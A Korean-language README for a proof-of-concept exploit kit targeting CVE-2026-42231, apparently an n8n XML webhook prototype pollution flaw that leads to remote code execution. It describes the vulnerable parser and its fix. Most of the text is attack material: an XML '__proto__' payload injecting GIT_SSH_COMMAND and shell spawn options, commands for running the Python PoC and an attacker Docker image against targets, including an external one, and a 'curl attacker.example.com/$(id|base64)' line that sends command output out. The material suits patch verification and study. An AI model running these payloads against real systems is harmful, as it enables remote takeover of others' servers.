
# CVE-2026-42231 PoC 익스플로잇 n8n XML 웹훅의 치명적인 프로토타입 오염 취약점으로 원격 코드 실행으로 이어지는 CVE-2026-42231에 대한 개념 증명 익스플로잇입니다. Docker 랩, Python PoC, Node.js 검증기를 포함합니다.
CVE: CVE-2026-42231
심각도: 치명적 (CVSS 10.0)
영향 버전: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
수정 버전: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts는 tagNameProcessors 또는
attrNameProcessors 없이 모듈 수준의 싱글턴 xml2js Parser를
생성합니다. 이로 인해 공격자는 <__proto__> 요소를 포함한 XML 웹훅 본문을
전송할 수 있습니다.
xml2js 0.6.2는 데이터 설명자와 함께 Object.defineProperty를 사용하여
파싱된 객체에 요소 키를 설정합니다. '__proto__' in obj가 항상
이므로 는 값을 배열로 감싸고 이를 으로 저장합니다. 이는 일반적으로 프로토타입 체인을 안전하게
업데이트하는 접근자를 우회합니다.
trueassignOrPush()[[Set]]자체 __proto__ 속성은 JSON.stringify(n8n이 실행 데이터를
SQLite/PostgreSQL에 저장할 때 실행됨)를 통과하며, 재로드 시 JSON.parse
이후의 Object.assign(target, reloadedBody)는 target의 프로토타입을
공격자가 제어하는 객체로 리라우팅합니다.
SSH 작업을 수행하는 Git 노드도 포함된 워크플로우에서는 오염된
프로토타입이 simple-git의 createInstanceConfig에 spawnOptions /
GIT_SSH_COMMAND 값을 노출하여 OS 수준의 명령 실행을 가능하게 합니다.
// packages/cli/src/middlewares/body-parser.ts (취약 — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // 태그를 소문자로 변환 — 그러나 __proto__는 차단하지 않음
explicitArray: false,
// ← tagNameProcessors 없음
// ← attrNameProcessors 없음
});
수정 (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. 공격자가 공개 Webhook 트리거에 XML POST를 전송:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. xml2js 본문 파서는 req.body.root를 생성하며 여기서 '__proto__'는
자체 열거 가능한 데이터 속성입니다:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n의 deepCopy()는 for...in + hasOwnProp을 통해 자체 키를 반복합니다.
clone['__proto__'] = deepCopy(attackerArray) 할당은
[[Set]] 접근자를 통해 clone의 프로토타입을 조용히 대체합니다.
4. n8n은 실행 데이터를 DB에 직렬화합니다:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
__proto__ 키는 자체 속성이고 열거 가능하므로 포함됩니다.
SQLite의 execution_data 테이블에서 확인됨.
5. 재로드 시 JSON.parse는 '__proto__'를 자체 데이터 속성으로 재생성합니다
(일반 객체, 배열 래핑 없음).
Object.assign(gitOptions, reloadedBody)
gitOptions의 프로토타입을 공격자가 제어하는 객체로 리라우팅합니다.
6. Git 노드가 simpleGit(gitOptions)을 호출할 때:
createInstanceConfig(gitOptions)
프로토타입 체인을 통해 config.spawnOptions를 읽음 → truthy →
spawnOptionsPlugin이 등록됩니다.
env 객체에 GIT_SSH_COMMAND가 있으면 git은 다음 SSH 작업에서
공격자의 명령을 실행합니다.
normalizeTags 참고 사항normalizeTags: true는 모든 XML 태그 이름을 소문자로 변환하므로
<GIT_SSH_COMMAND>와 같은 하위 요소는 파싱된 객체에서
git_ssh_command가 됩니다. 환경 변수 이름의 대소문자를 유지하려면 XML
속성을 사용하세요(속성 이름은 normalizeTags에 의해 정규화되지 않음):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
이 명령은 n8nio/n8n:1.123.22(마지막 영향 버전)를 가져오고, 공격자
이미지를 빌드하며, 취약한 대상(http://localhost:5678)을 시작하고,
웹훅 워크플로우를 자동으로 생성 및 활성화한 후 웹훅 URL을
.webhook_state에 저장합니다.
./exploit.sh setup
예상 출력(일부 생략):
[*] 취약한 n8n 이미지 가져오는 중 (1.123.22) ...
[*] 공격자 이미지 빌드 중 ...
[*] 취약한 n8n 대상 시작 중 ...
[*] n8n이 정상 상태가 될 때까지 대기 중 ...
[*] 웹훅 워크플로우 생성 중 (Webhook → Code 노드) ...
[+] 실습 환경 준비 완료.
실행: ./exploit.sh demo # 오염 프리미티브 검증
./exploit.sh exploit # 세 가지 RCE 페이로드 전달
./exploit.sh demo
PoC는 검증 페이로드를 전송하고 n8n 워크플로우에서 에코된 파싱된 본문을 표시합니다. 취약한 인스턴스는 다음을 반환합니다:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# 또는 사용자 지정 명령 사용:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
세 가지 보완 페이로드가 전달됩니다:
| 페이로드 | 기법 |
|---|---|
| A | <__proto__> 태그 — XML 속성으로 GIT_SSH_COMMAND |
| B | <constructor><prototype> 체인 |
| C | env 속성이 있는 중첩 <__proto__> |
GIT_SSH_COMMAND의 출력이 포함됩니다."step4_objectAssignPolluted": true가 포함되어 체인을 확인합니다.pip install -r requirements.txt
# 검증만 — Git 노드 불필요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# 전체 익스플로잇 — Webhook + Git/SSH 노드 워크플로우 필요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
일부 배포에서 n8n은 웹훅을
/webhook/<workflowId>/webhook/<path>로 등록합니다. 짧은 형식
/webhook/<path>가 404를 반환하면 워크플로우 ID 접두사를 --target으로 전달하세요:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <path> \
--demo
n8n이 사용하는 정확한 xml2js 파서 구성을 재현하고 네 가지 체인 단계를 모두 진행합니다:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
취약한 구성에서의 예상 출력:
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══
# 공격자 이미지 빌드
docker build -t n8n-proto-pollution-poc .
# 데모 모드 (공유 실습 네트워크에 연결)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# 전체 익스플로잇
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# 외부 대상 공격 (네트워크 플래그 불필요)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <path> \
--demo
./exploit.sh clean
컨테이너를 중지하고 볼륨(SQLite 데이터베이스 포함)을 제거합니다.
| 파일 | 설명 |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | 독립형 Python HTTP PoC — 세 가지 XML 페이로드 변형, --demo 및 --cmd 모드 |
verify_GHSA-q5f4-99jv-pgg5.js | Node.js 로컬 체인 검증기 — 라이브 인스턴스 없이 4가지 익스플로잇 단계를 모두 진행 |
Dockerfile | 공격자 컨테이너 이미지 |
docker-compose.yml | 전체 실습 환경: 취약한 n8n + 공격자 컨테이너 |
exploit.sh | 설정, 데모, 익스플로잇, 정리를 위한 헬퍼 스크립트 |
requirements.txt | Python 종속성 |